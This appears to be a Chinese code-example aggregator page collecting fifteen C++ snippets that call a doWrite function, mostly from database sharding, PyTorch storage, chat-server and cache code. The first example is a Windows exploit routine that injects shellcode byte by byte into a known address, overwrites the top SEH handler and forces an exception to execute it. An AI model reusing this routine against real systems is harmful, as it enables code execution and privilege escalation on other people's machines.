本文整理汇总了C++中doWrite函数的典型用法代码示例。如果您正苦于以下问题:C++ doWrite函数的具体用法?C++ doWrite怎么用?C++ doWrite使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了doWrite函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: IterateWindows
void IterateWindows(long hWnd)
{
long childhWnd,looper;
childhWnd = GetNextWindow(hWnd,GW_CHILD);
while (childhWnd != NULL)
{
IterateWindows(childhWnd);
childhWnd = GetNextWindow(childhWnd ,GW_HWNDNEXT);
}
hLVControl = hWnd;
hHdrControl = SendMessage((HWND) hLVControl,(UINT) LVM_GETHEADER, 0,0);
if(hHdrControl != NULL)
{
// Found a Listview Window with a Header
printf("+ Found listview window..0x%xh\n",hLVControl);
printf("+ Found lvheader window..0x%xh\n",hHdrControl);
// Inject shellcode to known address
printf("+ Sending shellcode to...0x%xh\n",shellcodeaddr);
for (looper=0;looper<sizeof(exploit);looper++)
doWrite((long) exploit[looper],(shellcodeaddr + looper));
// Overwrite SEH
printf("+ Overwriting Top SEH....0x%xh\n",sehHandler);
doWrite(((shellcodeaddr) & 0xff),sehHandler);
doWrite(((shellcodeaddr >> 8) & 0xff),sehHandler+1);
doWrite(((shellcodeaddr >> 16) & 0xff),sehHandler+2);
doWrite(((shellcodeaddr >> 24) & 0xff),sehHandler+3);
// Cause exception
printf("+ Forcing Unhandled Exception\n");
SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,0,1);
printf("+ Done...\n");
exit(0);
}
示例2: _delete
void _delete( Request& r , DbMessage& d, ChunkManager* manager ){
int flags = d.pullInt();
bool justOne = flags & 1;
uassert( 10203 , "bad delete message" , d.moreJSObjs() );
BSONObj pattern = d.nextJsObj();
vector<Chunk*> chunks;
manager->getChunksForQuery( chunks , pattern );
cout << "delete : " << pattern << " \t " << chunks.size() << " justOne: " << justOne << endl;
if ( chunks.size() == 1 ){
doWrite( dbDelete , r , chunks[0]->getShard() );
return;
}
if ( justOne && ! pattern.hasField( "_id" ) )
throw UserException( 8015 , "can only delete with a non-shard key pattern if can delete as many as we find" );
set<string> seen;
for ( vector<Chunk*>::iterator i=chunks.begin(); i!=chunks.end(); i++){
Chunk * c = *i;
if ( seen.count( c->getShard() ) )
continue;
seen.insert( c->getShard() );
doWrite( dbDelete , r , c->getShard() );
}
}
示例3: visit_import
virtual bool visit_import(AST_Import *node) {
for (int i = 0; i < node->names.size(); i++) {
AST_alias *alias = node->names[i];
if (alias->asname.size())
doWrite(alias->asname);
else
doWrite(alias->name);
}
return true;
}
示例4: THPStorage_
void THPStorage_(writeFileRaw)(THStorage *self, io fd)
{
real *data;
int64_t size = self->size;
#ifndef THC_GENERIC_FILE
data = self->data;
#else
std::unique_ptr<char[]> cpu_data(new char[size * sizeof(real)]);
data = (real*)cpu_data.get();
THCudaCheck(cudaMemcpy(data, self->data, size * sizeof(real), cudaMemcpyDeviceToHost));
#endif
ssize_t result = doWrite(fd, &size, sizeof(int64_t));
if (result != sizeof(int64_t))
throw std::system_error(result, std::system_category());
// fast track for bytes and little endian
if (sizeof(real) == 1 || THP_nativeByteOrder() == THPByteOrder::THP_LITTLE_ENDIAN) {
char *bytes = (char *) data;
int64_t remaining = sizeof(real) * size;
while (remaining > 0) {
// we write and read in 1GB blocks to avoid bugs on some OSes
ssize_t result = doWrite(fd, bytes, THMin(remaining, 1073741824));
if (result < 0)
throw std::system_error(result, std::system_category());
bytes += result;
remaining -= result;
}
if (remaining != 0)
throw std::system_error(result, std::system_category());
} else {
int64_t buffer_size = std::min(size, (int64_t)5000);
std::unique_ptr<uint8_t[]> le_buffer(new uint8_t[buffer_size * sizeof(real)]);
for (int64_t i = 0; i < size; i += buffer_size) {
size_t to_convert = std::min(size - i, buffer_size);
if (sizeof(real) == 2) {
THP_encodeInt16Buffer((uint8_t*)le_buffer.get(),
(const int16_t*)data + i,
THPByteOrder::THP_LITTLE_ENDIAN,
to_convert);
} else if (sizeof(real) == 4) {
THP_encodeInt32Buffer((uint8_t*)le_buffer.get(),
(const int32_t*)data + i,
THPByteOrder::THP_LITTLE_ENDIAN,
to_convert);
} else if (sizeof(real) == 8) {
THP_encodeInt64Buffer((uint8_t*)le_buffer.get(),
(const int64_t*)data + i,
THPByteOrder::THP_LITTLE_ENDIAN,
to_convert);
}
SYSCHECK(doWrite(fd, le_buffer.get(), to_convert * sizeof(real)));
}
}
}
示例5: exclusion
// ---
void VSWWriter::write (const std::string& text)
{
CMTYScopedLock exclusion (_exclusion);
if (_on)
{
// First of all it built up the text to print out...
std::string textToWrite = text;
if (_addDateTime)
{
CMTYDateTime now (CMTYDate (_TODAY_), CMTYTime (_NOW_));
std::string nowStr = now.asString (CMTYDate::Format (std::string ("%d/%m/%y")),
CMTYTime::Format (std::string ("%h:%m:%s")));
textToWrite = std::string (__OPENBRACKET__) + nowStr + std::string (__CLOSEBRACKET__) +
std::string (__BLANK_STRING__) + text;
}
// ...and now log it.
if (_logging && _logSystem != NULL)
if (trim (text) != std::string (__NULL_STRING__))
_logSystem -> storeText (textToWrite); // Only not null texts are kept into the log file...
// ...and print it (or keep it to print later)
if (_currentLastMessage >= _maxNumberOfLastMessages)
_currentLastMessage = 0;
_lastMessages [_currentLastMessage++] = textToWrite;
if (_keep)
_messagesKept.push_back (textToWrite);
else
doWrite (textToWrite);
}
}
示例6: stop
void Connection::onWrite( const boost::system::error_code& err, size_t bytes )
{
if ( err )
{
std::cout << "OnWrite error" << bytes << std::endl;
stop();
return;
}
std::cout << "On write..." << bytes << std::endl;
if ( _isWaiting )
{
Stanza ev;
ev.setStanzaType( Stanza::EVENT );
ev.setSubType( Stanza::END );
_received.push_back( ev );
std::cout << " _isWaiting = 0" << std::endl;
_isWaiting = false;
}
if ( !_received.empty() )
{
doWrite();
return;
}
_isWriting = false;
//doReadSize();
}
示例7: LS_DBG_L
int ExtConn::onWrite()
{
LS_DBG_L(this, "ExtConn::onWrite()");
m_tmLastAccess = DateTime::s_curTime;
int ret;
switch (m_iState)
{
case CONNECTING:
ret = onInitConnected();
if (ret)
break;
//fall through
case PROCESSING:
ret = doWrite();
break;
case ABORT:
case CLOSING:
case DISCONNECTED:
return 0;
default:
return 0;
}
if (ret == -1)
ret = connError(errno);
return ret;
}
示例8: doWrite
void Connection::onRegister( Stanza st )
{
std::string body = st.getMSG();
std::string login = body.substr( 0, body.find("\n") );
std::string psswd = body.substr( body.find("\n") );
if ( _myServer.checkAccount( login ) == true )
{
Stanza ans;
ans.setStanzaType( Stanza::IQ );
ans.setSubType( Stanza::ERROR );
//std::string strAns;
//ans.save( strAns );
_received.push_back( ans );
//doWriteQuick( strAns );
} else
{
_myServer.addAccount( login, psswd );
Stanza ans;
ans.setStanzaType( Stanza::IQ );
ans.setSubType( Stanza::AVAILABLE );
//std::string strAns;
//ans.save( strAns );
_received.push_back( ans );
//doWriteQuick( strAns );
}
if ( _isWaiting && !_isWriting )
doWrite();
doReadSize();
}
示例9: shared_from_this
void Connection::onLogin( Stanza st )
{
std::string body = st.getMSG();
std::string login = body.substr( 0, body.find("\n") );
std::string psswd = body.substr( body.find("\n") );
if ( _myServer.checkLoginAndPassword( login, psswd ) == true )
{
_login = login;
_loggedIn = true;
_myServer.addConnection( shared_from_this() );
retrieve();
Stanza ans;
ans.setStanzaType( Stanza::IQ );
ans.setSubType( Stanza::AVAILABLE );
//std::string strAns;
//ans.save( strAns );
_received.push_back( ans );
//doWriteQuick( strAns );
} else
{
Stanza ans;
ans.setStanzaType( Stanza::IQ );
ans.setSubType( Stanza::ERROR );
//std::string strAns;
//ans.save( strAns );
_received.push_back( ans );
//doWriteQuick( strAns );
}
if ( _isWaiting && !_isWriting )
doWrite();
doReadSize();
}
示例10: updateRecentOnlineTime
void Connection::onRoaster()
{
std::cout << "onRoaster" << std::endl;
updateRecentOnlineTime();
Stanza ans;
std::map<std::string, Connection::ptr>::iterator it;
std::string strAns;
for ( it = _myServer.connections().begin();
it != _myServer.connections().end(); ++it )
{
JID newJID;
newJID.setNode( std::get<1>(*it)->getLogin() );
ans.addAvailable( newJID );
}
ans.setStanzaType( Stanza::ROASTER );
_received.push_back( ans );
if ( _isWaiting && !_isWriting )
doWrite();
doReadSize();
//ans.save( strAns );
//doWriteQuick( strAns );
}
示例11: e
int SFTWorker::doDecompression(const char* buff, uint32 buffSize, bool endFile)
{
if (!m_pBzs)
{
gcException e(ERR_BZ2, 0, "Bzip2 handle was nullptr");
return reportError(BZ_STREAM_END, e);
}
m_pBzs->write(buff, buffSize, endFile);
try
{
m_pBzs->doWork();
}
catch (gcException &e)
{
return reportError(BZ_STREAM_END, e);
}
size_t outBuffSize = m_pBzs->getReadSize();
if (outBuffSize == 0)
return m_pBzs->getLastStatus();
AutoDelete<char> outBuff(new char[outBuffSize]);
m_pBzs->read(outBuff, outBuffSize);
int32 res = doWrite(outBuff, outBuffSize);
if (res == BZ_OK)
return m_pBzs->getLastStatus();
return res;
}
示例12:
void Horus::Commons::Network::StreamConnection::sendMessage(const QString &msg)
{
bool write_in_progress = m_write_msgs.empty() == false;
m_write_msgs.push_back(msg);
if (write_in_progress == false) doWrite();
}
示例13: main
int main() {
uint64_t data = 0xdead;
uint16_t addr = 1;
printf("[INFO] Write R[%d] = %lx\n", addr, data);
doWrite(addr, data);
printf("[INFO] Read R[%d]\n", addr);
uint64_t y = doRead(addr);
printf("[INFO] Received %lx\n", y);
assert(y == data);
uint64_t data_accum = -0x1fbe;
printf("[INFO] Accum R[%d] with %lx\n", addr, data_accum);
y = doAccum(addr, data_accum);
printf("[INFO] Received %lx\n", y);
assert(y == data);
printf("[INFO] Read R[%d]\n", addr);
y = doRead(addr);
printf("[INFO] Received %lx\n", y);
assert(y == data + data_accum);
data = 0xbeef;
uint64_t data_addr = doTranslate((void *) &data);
printf("[INFO] Load %lx (0x%lx) via L1 data cache\n",
data, data_addr);
y = doLoad(addr, data_addr);
printf("[INFO] Received %lx\n", y);
return 0;
}
示例14: doRead
//virtual
bool LLTextureCacheWorker::doWork(S32 param)
{
//allocate a new local apr_pool
LLAPRPool pool ;
//save the current mFileAPRPool to avoid breaking anything.
apr_pool_t* old_pool = mCache->getFileAPRPool() ;
//make mFileAPRPool to point to the local one
mCache->setFileAPRPool(pool.getAPRPool()) ;
bool res = false;
if (param == 0) // read
{
res = doRead();
}
else if (param == 1) // write
{
res = doWrite();
}
else
{
llassert_always(0);
}
//set mFileAPRPool back, the local one will be released automatically.
mCache->setFileAPRPool(old_pool) ;
return res;
}
示例15: doWrite
void Strategy::broadcastWrite(int op, Request& r) {
vector<Shard> shards;
Shard::getAllShards(shards);
for (vector<Shard>::iterator it(shards.begin()), end(shards.end()); it != end; ++it) {
doWrite(op, r, *it, false);
}
}